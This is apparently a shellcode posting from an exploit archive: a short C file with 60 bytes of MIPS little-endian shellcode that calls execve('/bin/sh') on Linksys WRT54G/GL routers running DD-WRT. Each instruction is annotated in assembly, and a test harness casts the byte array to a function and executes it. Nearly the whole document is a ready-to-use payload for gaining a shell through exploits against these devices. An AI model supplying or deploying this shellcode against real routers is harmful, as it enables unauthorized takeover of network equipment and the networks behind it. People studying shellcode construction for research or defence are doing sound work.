linux/mips execve 60 bytes shellcode for the Linksys WRT54G/GL.
f6b3127b4edfa32224b6c5b380b59609f6dd8794e74242d1ac58535f38ccf98f
/* - MIPS little-endian
* - linux execve 60 bytes shellcode
* - execve("/bin/sh",["/bin/sh"],[]);
* - tested on Linksys WRT54G/GL (DD-WRT Linux)
* - based on scut paper Writing MIPS/Irix shellcode
*
* vaicebine at gmail dot com
*/
#include <stdio.h>
char shellcode[] = {
"\x50\x73\x06\x24" /* li a2,0x7350 */
"\xff\xff\xd0\x04" /* LB: bltzal a2,LB */
"\x50\x73\x0f\x24" /* li $t7,0x7350 (nop) */
"\xff\xff\x06\x28" /* slti a2, $0,-1 */
"\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */
"\xd7\xff\x0f\x24" /* li t7,-41 */
"\x27\x78\xe0\x01" /* nor t7,t7,zero */
"\x21\x20\xef\x03" /* addu a0,ra,t7 */
"\xe8\xff\xa4\xaf" /* sw a0,-24(sp) */
"\xec\xff\xa0\xaf" /* sw zero,-20(sp) */
"\xe8\xff\xa5\x23" /* addi a1,sp,-24 */
"\xab\x0f\x02\x24" /* li v0,4011 */
"\x0c\x01\x01\x01" /* syscall */
"/bin/sh"
};
int main(int argc, char *argv[])
{
void (*p)(void);
p = shellcode;
printf("shellcode size %d\n", sizeof(shellcode));
p();
return 0;
}